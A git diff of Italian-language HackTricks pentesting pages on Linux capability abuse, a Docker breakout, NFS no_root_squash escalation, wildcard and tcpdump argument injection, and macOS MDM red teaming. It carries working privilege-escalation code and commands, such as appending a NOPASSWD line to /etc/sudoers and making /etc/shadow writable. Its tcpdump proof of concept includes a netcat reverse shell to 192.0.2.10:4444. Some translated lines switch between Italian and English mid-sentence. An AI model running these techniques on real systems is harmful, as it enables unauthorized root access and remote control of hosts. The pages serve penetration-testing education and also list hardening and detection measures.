In questo caso supponiamo che il binario **`python`** abbia questa capacità. Per elencare i file di root, potresti fare:
In questo caso supponiamo che il binario **`python`** abbia questa capacità. Per elencare i file di root potresti fare:
```python
import os
for r, d, f in os.walk('/root'):
@ -938,7 +938,7 @@ return 0;
**Questo significa che puoi bypassare i controlli dei permessi di scrittura su qualsiasi file, quindi puoi scrivere qualsiasi file.**
Ci sono molti file che puoi **sovrascrivere per elevare i privilegi,** [**puoi prendere spunti da qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
Ci sono molti file che puoi **sovrascrivere per escalare i privilegi,** [**puoi trovare idee qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
**Esempio con binario**
@ -951,13 +951,13 @@ vim /etc/sudoers #To overwrite it
```
**Esempio con binario 2**
In questo esempio **`python`** avrà questa capacità. Potresti usare python per sovrascrivere qualsiasi file:
In questo esempio, il binario **`python`** avrà questa capacità. Potresti usare python per sovrascrivere qualsiasi file:
```python
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
```
**Esempio con ambiente + CAP_DAC_READ_SEARCH (Docker breakout)**
**Esempio con ambiente + CAP_DAC_READ_SEARCH (uscita da Docker)**
Puoi controllare le capacità abilitate all'interno del contenitore docker usando:
```bash
@ -1112,7 +1112,7 @@ close(fd1);
return 0;
}
```
Per evadere dal container docker, puoi **scaricare** i file `/etc/shadow` e `/etc/passwd` dall'host, **aggiungere** a essi un **nuovo utente** e usare **`shocker_write`** per sovrascriverli. Poi, **accedere** tramite **ssh**.
In order to scape the docker container you could **scaricare** the files `/etc/shadow` and `/etc/passwd` from the host, **aggiungere** to them a **nuovo utente**, and use **`shocker_write`** to overwrite them. Then, **accedere** via **ssh**.
**Il codice di questa tecnica è stato copiato dal laboratorio di "Abusing DAC_OVERRIDE Capability" da** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
@ -1122,7 +1122,7 @@ Per evadere dal container docker, puoi **scaricare** i file `/etc/shadow` e `/et
**Esempio con binario**
Supponiamo che il binario **`python`** abbia questa capacità, puoi **cambiare** il **proprietario** del file **shadow**, **cambiare la password di root** e ottenere privilegi elevati:
Lets suppose the **`python`** binary has this capability, you can **cambiare** the **proprietario** of the **shadow** file, **cambiare la password di root**, and escalate privileges:
```bash
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
```
@ -1146,7 +1146,7 @@ python -c 'import os;os.chmod("/etc/shadow",0666)
**Esempio con binario**
Se python ha questa **capability**, puoi abusarne molto facilmente per elevare i privilegi a root:
Se python ha questa **capability**, puoi facilmente abusarne per elevare i privilegi a root:
```python
import os
os.setuid(0)
@ -1188,7 +1188,7 @@ In questo caso il gruppo shadow è stato impersonato, quindi puoi leggere il fil
```bash
cat /etc/shadow
```
Se **docker** è installato, puoi **impostare** il **gruppo docker** e abusarne per comunicare con il [**socket docker** e aumentare i privilegi](#writable-docker-socket).
Se **docker** è installato, puoi **impostare** il **gruppo docker** e abusarne per comunicare con il [**docker socket** e aumentare i privilegi](#writable-docker-socket).
## CAP_SETFCAP
@ -1242,7 +1242,7 @@ CapAmb: 0000000000000000
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
```
Questa capacità consente di **dare qualsiasi altra capacità ai binari**, quindi potremmo pensare a **sfuggire** dal contenitore **abusando di qualsiasi delle altre capacità di breakout** menzionate in questa pagina.\
Questa capacità consente di **dare qualsiasi altra capacità ai binari**, quindi potremmo pensare di **uscire** dal contenitore **abusando di qualsiasi delle altre violazioni di capacità** menzionate in questa pagina.\
Tuttavia, se provi a dare ad esempio le capacità CAP_SYS_ADMIN e CAP_SYS_PTRACE al binario gdb, scoprirai che puoi darle, ma il **binario non sarà in grado di eseguire dopo questo**:
```bash
getcap /usr/bin/gdb
@ -1253,15 +1253,15 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
```
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Questo è un **sottoinsieme limitante delle capacità effettive** che il thread può assumere. È anche un sottoinsieme limitante delle capacità che possono essere aggiunte al set ereditabile da un thread che **non ha la capacità CAP_SETPCAP** nel suo set effettivo._\
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Questo è un **superinsieme limitante per le capacità effettive** che il thread può assumere. È anche un superinsieme limitante per le capacità che possono essere aggiunte al set ereditabile da un thread che **non ha la capacità CAP_SETPCAP** nel suo set effettivo._\
Sembra che le capacità Permitted limitino quelle che possono essere utilizzate.\
Tuttavia, Docker concede anche il **CAP_SETPCAP** per impostazione predefinita, quindi potresti essere in grado di **impostare nuove capacità all'interno di quelle ereditabili**.\
Tuttavia, nella documentazione di questa capacità: _CAP_SETPCAP : \[…] **aggiunge qualsiasi capacità dal set di bounding del thread chiamante** al suo set ereditabile_.\
Sembra che possiamo solo aggiungere al set ereditabile capacità dal set di bounding. Ciò significa che **non possiamo mettere nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nel set ereditabile per escalare i privilegi**.
Tuttavia, nella documentazione di questa cap: _CAP_SETPCAP : \[…] **aggiunge qualsiasi capacità dal set di bounding del thread chiamante** al suo set ereditabile_.\
Sembra che possiamo solo aggiungere al set ereditabile capacità dal set di bounding. Ciò significa che **non possiamo mettere nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nel set ereditato per escalare i privilegi**.
## CAP_SYS_RAWIO
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornisce una serie di operazioni sensibili tra cui l'accesso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificare `mmap_min_addr`, accedere alle chiamate di sistema `ioperm(2)` e `iopl(2)`, e vari comandi del disco. L'`ioctl(2) FIBMAP` è anche abilitato tramite questa capacità, il che ha causato problemi in [passato](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Secondo la pagina man, questo consente anche al detentore di descrittivamente `eseguire una serie di operazioni specifiche per dispositivo su altri dispositivi`.
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornisce una serie di operazioni sensibili tra cui l'accesso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificare `mmap_min_addr`, accedere alle chiamate di sistema `ioperm(2)` e `iopl(2)`, e vari comandi del disco. L'`FIBMAP ioctl(2)` è anche abilitato tramite questa capacità, il che ha causato problemi in [passato](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Secondo la pagina man, questo consente anche al detentore di `eseguire una serie di operazioni specifiche per dispositivo su altri dispositivi`.
Questo può essere utile per **l'escalation dei privilegi** e **il breakout di Docker.**
@ -1271,7 +1271,7 @@ Questo può essere utile per **l'escalation dei privilegi** e **il breakout di D
**Esempio con binario**
Supponiamo che il **`python`** binario abbia questa capacità. Se potessi **anche modificare qualche configurazione di servizio o socket** (o qualsiasi file di configurazione relativo a un servizio), potresti inserire una backdoor, e poi uccidere il processo relativo a quel servizio e aspettare che il nuovo file di configurazione venga eseguito con la tua backdoor.
Supponiamo che il **`python`** binario abbia questa capacità. Se potessi **anche modificare alcune configurazioni di servizio o socket** (o qualsiasi file di configurazione relativo a un servizio), potresti inserire una backdoor, e poi uccidere il processo relativo a quel servizio e aspettare che il nuovo file di configurazione venga eseguito con la tua backdoor.
```python
#Use this python code to kill arbitrary processes
import os
@ -1293,7 +1293,7 @@ electron-cef-chromium-debugger-abuse.md
## CAP_NET_BIND_SERVICE
**Questo significa che è possibile ascoltare su qualsiasi porta (anche su quelle privilegiate).** Non puoi elevare i privilegi direttamente con questa capacità.
**Questo significa che è possibile ascoltare su qualsiasi porta (anche su quelle privilegiate).** Non è possibile elevare i privilegi direttamente con questa capacità.
**Esempio con binario**
@ -1386,7 +1386,7 @@ count=count+1
```
## CAP_NET_ADMIN + CAP_NET_RAW
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacità concede al detentore il potere di **modificare le configurazioni di rete**, inclusi le impostazioni del firewall, le tabelle di routing, i permessi dei socket e le impostazioni delle interfacce di rete all'interno degli spazi dei nomi di rete esposti. Consente anche di attivare la **modalità promiscuo** sulle interfacce di rete, permettendo l'analisi dei pacchetti attraverso gli spazi dei nomi.
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacità concede al detentore il potere di **modificare le configurazioni di rete**, inclusi le impostazioni del firewall, le tabelle di routing, i permessi dei socket e le impostazioni delle interfacce di rete all'interno degli spazi dei nomi di rete esposti. Abilita anche l'attivazione della **modalità promiscuo** sulle interfacce di rete, consentendo l'analisi dei pacchetti attraverso gli spazi dei nomi.
**Esempio con binario**
@ -1431,7 +1431,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
> [!NOTE]
> [!TIP]
> Nota che di solito questo attributo immutabile viene impostato e rimosso utilizzando:
>
> ```bash
@ -1452,20 +1452,20 @@ f.write('New content for the file\n')
## CAP_SYSLOG
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) è stato separato dal più ampio **CAP_SYS_ADMIN** in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata `syslog(2)`. Questa capacità consente di visualizzare gli indirizzi del kernel tramite `/proc` e interfacce simili quando l'impostazione `kptr_restrict` è a 1, che controlla l'esposizione degli indirizzi del kernel. Dalla versione 2.6.39 di Linux, il valore predefinito per `kptr_restrict` è 0, il che significa che gli indirizzi del kernel sono esposti, sebbene molte distribuzioni impostino questo valore a 1 (nascondere gli indirizzi tranne che per uid 0) o 2 (nascondere sempre gli indirizzi) per motivi di sicurezza.
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) è stato separato dal più ampio **CAP_SYS_ADMIN** in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata `syslog(2)`. Questa capacità consente la visualizzazione degli indirizzi del kernel tramite `/proc` e interfacce simili quando l'impostazione `kptr_restrict` è a 1, che controlla l'esposizione degli indirizzi del kernel. Dalla versione 2.6.39 di Linux, il valore predefinito per `kptr_restrict` è 0, il che significa che gli indirizzi del kernel sono esposti, anche se molte distribuzioni impostano questo valore a 1 (nascondere gli indirizzi tranne che per uid 0) o 2 (nascondere sempre gli indirizzi) per motivi di sicurezza.
Inoltre, **CAP_SYSLOG** consente di accedere all'output di `dmesg` quando `dmesg_restrict` è impostato a 1. Nonostante questi cambiamenti, **CAP_SYS_ADMIN** mantiene la capacità di eseguire operazioni `syslog` a causa di precedenti storici.
## CAP_MKNOD
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende la funzionalità della chiamata di sistema `mknod` oltre la creazione di file regolari, FIFO (pipe nominate) o socket di dominio UNIX. Consente specificamente la creazione di file speciali, che includono:
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende la funzionalità della chiamata di sistema `mknod` oltre alla creazione di file regolari, FIFO (pipe nominate) o socket di dominio UNIX. Consente specificamente la creazione di file speciali, che includono:
- **S_IFCHR**: File speciali di carattere, che sono dispositivi come terminali.
- **S_IFBLK**: File speciali a blocchi, che sono dispositivi come dischi.
Questa capacità è essenziale per i processi che richiedono la possibilità di creare file di dispositivo, facilitando l'interazione diretta con l'hardware tramite dispositivi a carattere o a blocchi.
È una capacità docker predefinita ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
È una capacità predefinita di docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
Questa capacità consente di effettuare escalation di privilegi (attraverso la lettura completa del disco) sull'host, a queste condizioni:
@ -1477,10 +1477,10 @@ Questa capacità consente di effettuare escalation di privilegi (attraverso la l
1. **Sull'Host come Utente Standard:**
- Determina il tuo ID utente attuale con `id`, ad esempio, `uid=1000(standarduser)`.
- Determina il tuo attuale ID utente con `id`, ad esempio, `uid=1000(standarduser)`.
- Identifica il dispositivo target, ad esempio, `/dev/sdb`.
2. **Dentro il Container come `root`:**
2. **All'interno del Container come `root`:**
```bash
# Create a block special file for the host device
mknod /dev/sdb b 8 16
@ -1500,13 +1500,13 @@ ps aux | grep -i container_name | grep -i standarduser
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
```
Questo approccio consente all'utente standard di accedere e potenzialmente leggere dati da `/dev/sdb` attraverso il container, sfruttando gli spazi dei nomi utente condivisi e i permessi impostati sul dispositivo.
Questo approccio consente all'utente standard di accedere e potenzialmente leggere dati da `/dev/sdb` attraverso il contenitore, sfruttando i namespace utente condivisi e i permessi impostati sul dispositivo.
### CAP_SETPCAP
**CAP_SETPCAP** consente a un processo di **modificare i set di capacità** di un altro processo, permettendo l'aggiunta o la rimozione di capacità dai set effettivi, ereditabili e permessi. Tuttavia, un processo può modificare solo le capacità che possiede nel proprio set permesso, garantendo che non possa elevare i privilegi di un altro processo oltre il proprio. Aggiornamenti recenti del kernel hanno inasprito queste regole, limitando `CAP_SETPCAP` a ridurre solo le capacità all'interno del proprio set permesso o di quello dei suoi discendenti, con l'obiettivo di mitigare i rischi per la sicurezza. L'uso richiede di avere `CAP_SETPCAP` nel set effettivo e le capacità target nel set permesso, utilizzando `capset()` per le modifiche. Questo riassume la funzione principale e le limitazioni di `CAP_SETPCAP`, evidenziando il suo ruolo nella gestione dei privilegi e nel miglioramento della sicurezza.
**`CAP_SETPCAP`** è una capacità di Linux che consente a un processo di **modificare i set di capacità di un altro processo**. Consente di aggiungere o rimuovere capacità dai set di capacità effettivi, ereditabili e permessi di altri processi. Tuttavia, ci sono alcune restrizioni su come questa capacità può essere utilizzata.
**`CAP_SETPCAP`** è una capacità di Linux che consente a un processo di **modificare i set di capacità di un altro processo**. Concede la possibilità di aggiungere o rimuovere capacità dai set di capacità effettivi, ereditabili e permessi di altri processi. Tuttavia, ci sono alcune restrizioni su come questa capacità può essere utilizzata.
Un processo con `CAP_SETPCAP` **può solo concedere o rimuovere capacità che sono nel proprio set di capacità permesso**. In altre parole, un processo non può concedere una capacità a un altro processo se non possiede quella capacità. Questa restrizione impedisce a un processo di elevare i privilegi di un altro processo oltre il proprio livello di privilegio.
@ -1514,7 +1514,7 @@ Inoltre, nelle versioni recenti del kernel, la capacità `CAP_SETPCAP` è stata
Per utilizzare `CAP_SETPCAP` in modo efficace, è necessario avere la capacità nel proprio set di capacità effettivo e le capacità target nel proprio set di capacità permesso. È quindi possibile utilizzare la chiamata di sistema `capset()` per modificare i set di capacità di altri processi.
In sintesi, `CAP_SETPCAP` consente a un processo di modificare i set di capacità di altri processi, ma non può concedere capacità che non possiede. Inoltre, a causa di preoccupazioni per la sicurezza, la sua funzionalità è stata limitata nelle versioni recenti del kernel per consentire solo la riduzione delle capacità nel proprio set di capacità permesso o nei set di capacità permesso dei suoi discendenti.
In sintesi, `CAP_SETPCAP` consente a un processo di modificare i set di capacità di altri processi, ma non può concedere capacità che non possiede. Inoltre, a causa di preoccupazioni per la sicurezza, la sua funzionalità è stata limitata nelle versioni recenti del kernel per consentire solo la riduzione delle capacità nel proprio set di capacità permesso o nei set di capacità permessi dei suoi discendenti.
## Riferimenti

42
src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
View File

@ -1,29 +1,33 @@
# NFS No Root Squash Misconfiguration Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
# Informazioni di Base sullo Squashing
## Squashing Basic Info
NFS di solito (soprattutto in linux) si fida del `uid` e `gid` indicati dal client che si connette per accedere ai file (se non viene utilizzato kerberos). Tuttavia, ci sono alcune configurazioni che possono essere impostate nel server per **cambiare questo comportamento**:
- **`all_squash`**: Squasha tutti gli accessi mappando ogni utente e gruppo a **`nobody`** (65534 unsigned / -2 signed). Pertanto, tutti sono `nobody` e non vengono utilizzati utenti.
- **`root_squash`/`no_all_squash`**: Questo è il valore predefinito su Linux e **squasha solo l'accesso con uid 0 (root)**. Pertanto, qualsiasi `UID` e `GID` sono fidati, ma `0` è squashed a `nobody` (quindi non è possibile impersonare root).
- **``no_root_squash`**: Questa configurazione, se abilitata, non squasha nemmeno l'utente root. Questo significa che se monti una directory con questa configurazione, puoi accedervi come root.
- **`all_squash`**: Riduce tutti gli accessi mappando ogni utente e gruppo a **`nobody`** (65534 unsigned / -2 signed). Pertanto, tutti sono `nobody` e non vengono utilizzati utenti.
- **`root_squash`/`no_all_squash`**: Questo è il valore predefinito su Linux e **riduce solo l'accesso con uid 0 (root)**. Pertanto, qualsiasi `UID` e `GID` sono fidati, ma `0` è ridotto a `nobody` (quindi non è possibile impersonare root).
- **`no_root_squash`**: Questa configurazione, se abilitata, non riduce nemmeno l'utente root. Ciò significa che se monti una directory con questa configurazione, puoi accedervi come root.
Nel file **/etc/exports**, se trovi qualche directory configurata come **no_root_squash**, allora puoi **accedervi** da **client** e **scrivere all'interno** di quella directory **come** se fossi il **root** locale della macchina.
Per ulteriori informazioni su **NFS** controlla:
{{#ref}}
../../network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# Escalation dei Privilegi
## Privilege Escalation
## Exploit Remoto
### Remote Exploit
Opzione 1 usando bash:
- **Montare quella directory** in una macchina client e **come root copiare** all'interno della cartella montata il **/bin/bash** binario e dargli i diritti **SUID**, ed **eseguire dalla macchina vittima** quel binario bash.
- **Montare quella directory** in una macchina client e **come root copiare** all'interno della cartella montata il **/bin/bash** binario e dargli diritti **SUID**, ed **eseguire dalla macchina vittima** quel binario bash.
- Nota che per essere root all'interno della condivisione NFS, **`no_root_squash`** deve essere configurato nel server.
- Tuttavia, se non è abilitato, potresti escalare a un altro utente copiando il binario nella condivisione NFS e dandogli il permesso SUID come l'utente a cui vuoi escalare.
- Tuttavia, se non abilitato, potresti elevare i privilegi a un altro utente copiando il binario nella condivisione NFS e dandogli il permesso SUID come l'utente a cui vuoi elevare i privilegi.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -37,7 +41,7 @@ cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
Opzione 2 utilizzando codice compilato in C:
- **Montare quella directory** su una macchina client e **come root copiare** all'interno della cartella montata il nostro payload compilato che sfrutterà il permesso SUID, dargli diritti **SUID** e **eseguire da parte della vittima** quella binario (puoi trovare qui alcuni [C SUID payloads](payloads-to-execute.md#c)).
- **Montare quella directory** su una macchina client e **come root copiare** all'interno della cartella montata il nostro payload compilato che sfrutterà il permesso SUID, dargli diritti **SUID** ed **eseguire da macchina vittima** quel binario (puoi trovare qui alcuni [C SUID payloads](payloads-to-execute.md#c)).
- Stesse restrizioni di prima
```bash
#Attacker, as root user
@ -52,19 +56,19 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Local Exploit
### Local Exploit
> [!NOTE]
> Nota che se puoi creare un **tunnel dalla tua macchina alla macchina della vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\
> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non sarai in grado di utilizzare** in alcun modo il **remote exploit** e dovrai **sfruttare questo trucco**.\
> [!TIP]
> Nota che se puoi creare un **tunnel dalla tua macchina alla macchina vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\
> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non sarai in grado di utilizzare** in nessun caso il **remote exploit** e dovrai **sfruttare questo trucco**.\
> Un altro requisito necessario affinché l'exploit funzioni è che **l'export all'interno di `/etc/export`** **deve utilizzare il flag `insecure`**.\
> --_Non sono sicuro che se `/etc/export` indica un indirizzo IP questo trucco funzionerà_--
## Basic Information
### Basic Information
Lo scenario prevede di sfruttare una condivisione NFS montata su una macchina locale, sfruttando un difetto nella specifica NFSv3 che consente al client di specificare il proprio uid/gid, potenzialmente abilitando l'accesso non autorizzato. Lo sfruttamento coinvolge l'uso di [libnfs](https://github.com/sahlberg/libnfs), una libreria che consente la falsificazione delle chiamate RPC NFS.
Lo scenario prevede di sfruttare una condivisione NFS montata su una macchina locale, sfruttando un difetto nella specifica NFSv3 che consente al client di specificare il proprio uid/gid, potenzialmente abilitando l'accesso non autorizzato. Lo sfruttamento prevede l'uso di [libnfs](https://github.com/sahlberg/libnfs), una libreria che consente la falsificazione delle chiamate RPC NFS.
### Compiling the Library
#### Compiling the Library
I passaggi per la compilazione della libreria potrebbero richiedere aggiustamenti in base alla versione del kernel. In questo caso specifico, le syscalls fallocate sono state commentate. Il processo di compilazione prevede i seguenti comandi:
```bash
@ -73,9 +77,9 @@ I passaggi per la compilazione della libreria potrebbero richiedere aggiustament
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Eseguire l'Exploit
#### Esecuzione dell'Exploit
L'exploit comporta la creazione di un semplice programma C (`pwn.c`) che eleva i privilegi a root e poi esegue una shell. Il programma viene compilato e il binario risultante (`a.out`) viene posizionato nella condivisione con suid root, utilizzando `ld_nfs.so` per falsificare l'uid nelle chiamate RPC:
L'exploit prevede la creazione di un semplice programma C (`pwn.c`) che eleva i privilegi a root e poi esegue una shell. Il programma viene compilato e il binario risultante (`a.out`) viene posizionato nella condivisione con suid root, utilizzando `ld_nfs.so` per falsificare l'uid nelle chiamate RPC:
1. **Compila il codice dell'exploit:**
```bash
@ -95,7 +99,7 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/
/mnt/share/a.out
#root
```
## Bonus: NFShell per Accesso ai File Stealth
### Bonus: NFShell per Accesso ai File in Modo Stealth
Una volta ottenuto l'accesso root, per interagire con la condivisione NFS senza cambiare la proprietà (per evitare di lasciare tracce), viene utilizzato uno script Python (nfsh.py). Questo script regola l'uid per corrispondere a quello del file a cui si accede, consentendo l'interazione con i file sulla condivisione senza problemi di autorizzazione:
```python

65
src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
View File

@ -18,10 +18,10 @@ Quando root esegue successivamente qualcosa come:
chown -R alice:alice *.php
chmod -R 644 *.php
```
`--reference=/root/secret``file` viene iniettato, causando che *tutti* i file corrispondenti ereditino la proprietà/permissi di `/root/secret``file`.
`--reference=/root/secret``file` viene iniettato, causando che *tutti* i file corrispondenti ereditino la proprietà/i permessi di `/root/secret``file`.
*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (attacco combinato).
Vedi anche il classico documento di DefenseCode per dettagli.
Vedi anche il classico documento di DefenseCode per i dettagli.
---
@ -46,7 +46,7 @@ Il `tar` predefinito su macOS recenti (basato su `libarchive`) *non* implementa
# macOS example
touch "--use-compress-program=/bin/sh"
```
Quando uno script con privilegi esegue `tar -cf backup.tar *`, verrà avviato `/bin/sh`.
Quando uno script privilegiato esegue `tar -cf backup.tar *`, verrà avviato `/bin/sh`.
---
@ -92,7 +92,7 @@ Injecta il flag tramite un nome file creato ad arte e attendi che lo script di b
## Binaries aggiuntivi vulnerabili all'iniezione di wildcard (lista rapida 2023-2025)
I seguenti comandi sono stati abusati in CTF moderni e in ambienti reali. Il payload è sempre creato come un *nome file* all'interno di una directory scrivibile che sarà successivamente elaborata con un wildcard:
I seguenti comandi sono stati abusati in CTF moderni e in ambienti reali. Il payload è sempre creato come un *nome file* all'interno di una directory scrivibile che sarà successivamente elaborata con una wildcard:
| Binary | Flag da abusare | Effetto |
| --- | --- | --- |
@ -101,14 +101,57 @@ I seguenti comandi sono stati abusati in CTF moderni e in ambienti reali. Il pay
| `git` | `-c core.sshCommand=<cmd>` | Esecuzione del comando tramite git su SSH |
| `scp` | `-S <cmd>` | Avvia un programma arbitrario invece di ssh |
Queste primitive sono meno comuni rispetto ai classici *tar/rsync/zip* ma vale la pena controllarle durante la ricerca.
Queste primitive sono meno comuni rispetto ai classici *tar/rsync/zip* ma vale la pena controllarle durante la caccia.
---
## Rilevamento e Indurimento
## ganci di rotazione tcpdump (-G/-W/-z): RCE tramite iniezione argv nei wrapper
1. **Disabilita il globbing della shell** negli script critici: `set -f` (`set -o noglob`) previene l'espansione dei wildcard.
2. **Cita o scappa** gli argomenti: `tar -czf "$dst" -- *` non è sicuro — preferisci `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
Quando una shell ristretta o un wrapper del fornitore costruisce una riga di comando `tcpdump` concatenando campi controllati dall'utente (ad es., un parametro "nome file") senza una rigorosa citazione/validazione, puoi contrabbandare flag extra di `tcpdump`. La combinazione di `-G` (rotazione basata sul tempo), `-W` (limita il numero di file) e `-z <cmd>` (comando post-rotazione) consente l'esecuzione arbitraria di comandi come l'utente che esegue tcpdump (spesso root su dispositivi).
Precondizioni:
- Puoi influenzare `argv` passato a `tcpdump` (ad es., tramite un wrapper come `/debug/tcpdump --filter=... --file-name=<HERE>`).
- Il wrapper non sanifica spazi o token con prefisso `-` nel campo del nome file.
PoC classica (esegue uno script di reverse shell da un percorso scrivibile):
```sh
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
```
Dettagli:
- `-G 1 -W 1` forza una rotazione immediata dopo il primo pacchetto corrispondente.
- `-z <cmd>` esegue il comando post-rotazione una volta per rotazione. Molte build eseguono `<cmd> <savefile>`. Se `<cmd>` è uno script/interprete, assicurati che la gestione degli argomenti corrisponda al tuo payload.
Varianti senza supporto rimovibile:
- Se hai un altro primitivo per scrivere file (ad es., un wrapper di comando separato che consente la redirezione dell'output), inserisci il tuo script in un percorso noto e attiva `-z /bin/sh /path/script.sh` o `-z /path/script.sh` a seconda della semantica della piattaforma.
- Alcuni wrapper dei fornitori ruotano verso posizioni controllabili dall'attaccante. Se puoi influenzare il percorso ruotato (symlink/traversal di directory), puoi indirizzare `-z` per eseguire contenuti che controlli completamente senza media esterni.
Suggerimenti per il rafforzamento per i fornitori:
- Non passare mai stringhe controllate dall'utente direttamente a `tcpdump` (o a qualsiasi strumento) senza liste di autorizzazione rigorose. Cita e valida.
- Non esporre la funzionalità `-z` nei wrapper; esegui tcpdump con un modello fisso sicuro e vieta completamente flag aggiuntivi.
- Riduci i privilegi di tcpdump (solo cap_net_admin/cap_net_raw) o esegui sotto un utente non privilegiato dedicato con confinamento AppArmor/SELinux.
## Rilevamento e Rafforzamento
1. **Disabilita la globbing della shell** negli script critici: `set -f` (`set -o noglob`) previene l'espansione dei caratteri jolly.
2. **Cita o scappa** gli argomenti: `tar -czf "$dst" -- *` *non* è sicuro — preferisci `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Percorsi espliciti**: Usa `/var/www/html/*.log` invece di `*` in modo che gli attaccanti non possano creare file fratelli che iniziano con `-`.
4. **Minimo privilegio**: Esegui lavori di backup/manutenzione come un account di servizio non privilegiato invece di root quando possibile.
5. **Monitoraggio**: La regola predefinita di Elastic *Potential Shell via Wildcard Injection* cerca `tar --checkpoint=*`, `rsync -e*`, o `zip --unzip-command` immediatamente seguito da un processo figlio della shell. La query EQL può essere adattata per altri EDR.
@ -117,7 +160,9 @@ Queste primitive sono meno comuni rispetto ai classici *tar/rsync/zip* ma vale l
## Riferimenti
* Elastic Security – Regola rilevata Potenziale Shell tramite Iniezione di Wildcard (ultimo aggiornamento 2025)
* Rutger Flohil – “macOS — Iniezione di wildcard in Tar” (18 Dic 2024)
* Elastic Security – Regola rilevata Potenziale Shell tramite Wildcard Injection (ultimo aggiornamento 2025)
* Rutger Flohil – “macOS — Tar wildcard injection” (18 dicembre 2024)
* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
* FiberGateway GR241AG – [Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

24
src/macos-hardening/macos-red-teaming/README.md
View File

@ -12,6 +12,7 @@ Se riesci a **compromettere le credenziali di amministratore** per accedere alla
Per il red teaming in ambienti MacOS è altamente raccomandato avere una certa comprensione di come funzionano gli MDM:
{{#ref}}
macos-mdm/
{{#endref}}
@ -24,7 +25,7 @@ Per eseguire il tuo MDM devi **far firmare il tuo CSR da un fornitore** che potr
Tuttavia, per installare un'applicazione in un dispositivo registrato, hai ancora bisogno che sia firmata da un account sviluppatore... tuttavia, al momento della registrazione MDM, il **dispositivo aggiunge il certificato SSL dell'MDM come CA fidata**, quindi ora puoi firmare qualsiasi cosa.
Per registrare il dispositivo in un MDM, devi installare un file **`mobileconfig`** come root, che potrebbe essere consegnato tramite un file **pkg** (puoi comprimerlo in zip e quando scaricato da safari verrà decompresso).
Per registrare il dispositivo in un MDM, devi installare un **`mobileconfig`** file come root, che potrebbe essere consegnato tramite un **pkg** file (puoi comprimerlo in zip e quando scaricato da safari verrà decompresso).
**Mythic agent Orthrus** utilizza questa tecnica.
